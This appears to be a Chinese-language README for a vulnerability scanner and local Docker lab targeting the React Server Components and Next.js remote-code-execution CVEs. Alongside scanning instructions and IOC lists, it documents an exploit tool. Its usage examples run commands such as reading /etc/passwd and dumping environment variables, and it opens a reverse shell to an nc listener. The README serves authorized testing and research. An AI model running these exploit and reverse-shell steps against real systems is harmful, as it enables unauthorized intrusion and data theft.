
React2shell-web-scanner
用于 CVE-2025-55182 和 CVE-2025-66478 的高保真漏洞扫描器——React Server Components / Next.js 中的远程代码执行漏洞。
📖 如需详细技术分析、漏洞利用机制和 IOC 数据,请参阅 SECURITY-RESEARCH.md
本工具仅供教育和授权安全测试目的使用。 未经授权访问计算机系统是非法的。仅在你拥有或获得明确书面许可的系统上使用这些工具。作者不对滥用行为承担任何责任。
| CVE | 描述 | CVSS |
|---|---|---|
| CVE-2025-55182 | React Server Components 不安全反序列化 RCE | 9.8 严重 |
| CVE-2025-66478 | Next.js Server Actions RCE | 9.8 严重 |
受影响包:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0修复版本:
# 无需安装 - uv 自动处理依赖
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# 单个 URL
python3 react2shell-scanner -u https://example.com
# 安全模式(不执行 RCE)
python3 react2shell-scanner -u https://example.com --safe-check
# 从主机文件扫描
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# CIDR 范围
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# 多个 CIDR 范围
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# 子域名枚举
python3 react2shell-scanner -u example.com --enumerate-subdomains
# 自定义子域名字典
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# 自定义路径
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# 跳过指纹识别(扫描所有)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# 详细输出并禁用 SSL
python3 react2shell-scanner -u https://example.com -k -v
# 将结果上传至 Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# 调试模式(保存 payload)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# 上传所有结果(不仅仅是漏洞)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
创建 .phoenix.config 文件:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
或使用环境变量:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
附带基于 Docker 的测试环境。快速参考请参见 Lab-instructions-sample.md。
# 启动实验室
cd test-lab/lab
docker-compose up -d
# 服务:
# - 易受攻击实例:http://localhost:3011
# - 已修复实例: http://localhost:3012
# 测试易受攻击实例(安全证据收集)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# 测试已修复实例
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# 运行完整演示
./test-and-demo.sh --full-demo
⚠️ 注意: 利用命令(例如
exploit.py -c "whoami")会触发实际的 RCE。仅用于研究目的,在本地 Docker 容器上使用。
在易受攻击的目标上执行命令。需要 Python 3.11+
cd test-lab
pip3.11 install -r requirements.txt
# 或:pip3.11 install rich-click fake-useragent rich requests
# 基本命令执行
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# 输出:nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# 输出:uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# 输出:99e28775bf80(容器 ID)
# 系统枚举
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# 应用侦察
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# 输出:/app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# 网络信息
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# 进程枚举
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# 获取 Docker 网络网关
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# 启动监听器(另一个终端)
nc -lvnp 4444
# 发起反弹 shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# 可选的 payload 类型:nc, nc-mkfifo, sh, bash, perl
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
扫描器包含来自活跃攻击活动的已知入侵指标:
payloads-exploits/iocs.csvpayloads-exploits/weaponized-payloadspayloads-exploits/iocs_patterns.csv检测到的 IOC 匹配将被标记为高严重性。
| 文件 | 内容 |
|---|---|
iocs.csv | 32 个已知恶意 IP 及地理位置数据 |
iocs_patterns.csv | 扩展 IOC:C2 域名、投递器 URL、恶意软件哈希、Monero 钱包 |
--safe-check)echo $((41*271)) 的 payloadreact2shell-scanner-CVE-2025-55182/
├── react2shell-scanner # 主扫描脚本
├── cve-2025-66478-web-scan # 原始扫描器参考
├── nuclei-rules # Nuclei 模板
├── test-and-demo.sh # 测试自动化脚本
├── README.md # 本文件
├── SECURITY-RESEARCH.md # 详细技术分析
├── Lab-instructions-sample.md # 快速实验室测试指南
├── payloads-exploits/
│ ├── iocs.csv # 已知恶意 IP
│ ├── iocs_patterns.csv # 扩展 IOC(域名、URL、哈希)
│ ├── weaponized-payloads # 真实世界攻击 payload
│ └── exploit-2025-55182 # 原始 HTTP 漏洞利用请求
└── test-lab/
├── exploit.py # 利用工具
├── lab/
│ ├── docker-compose.yml
│ ├── vulnerable/ # 易受攻击的 Next.js 应用
│ └── patched/ # 已修复的 Next.js 应用
└── packages/
├── vulnerable/ # 易受攻击的 npm 包
└── patched/ # 已修复的 npm 包
| 仓库 | 用途 |
|---|---|
| react2shell-scanner-CVE-2025-55182 | 实验室、扫描器和漏洞利用(本仓库) |
| react2shell-scanner-rce-react-next | 带 Web 界面的完整扫描器 |
本工具仅供授权安全测试使用。在扫描任何目标之前,你必须获得明确的书面许可。未经授权的扫描可能违反计算机犯罪法律。
负责任地使用:
由致力于使网络更安全的安全研究人员提供。
| 选项 | 描述 |
|---|
-u, --url | 目标 URL(必需) |
-c, --cmd | 要执行的命令 |
-r, --reverse | 启用反弹 shell 模式 |
-l, --lhost | 反弹 shell 的监听主机 |
-p, --lport | 反弹 shell 的监听端口 |
-P, --payload | Payload 类型:nc、nc-mkfifo、sh、bash、perl |
--timeout | 请求超时时间(默认:10 秒) |
weaponized-payloads| 在实际攻击活动中观察到的真实攻击 payload |
exploit-2025-55182 | 漏洞利用的原始 HTTP 请求格式 |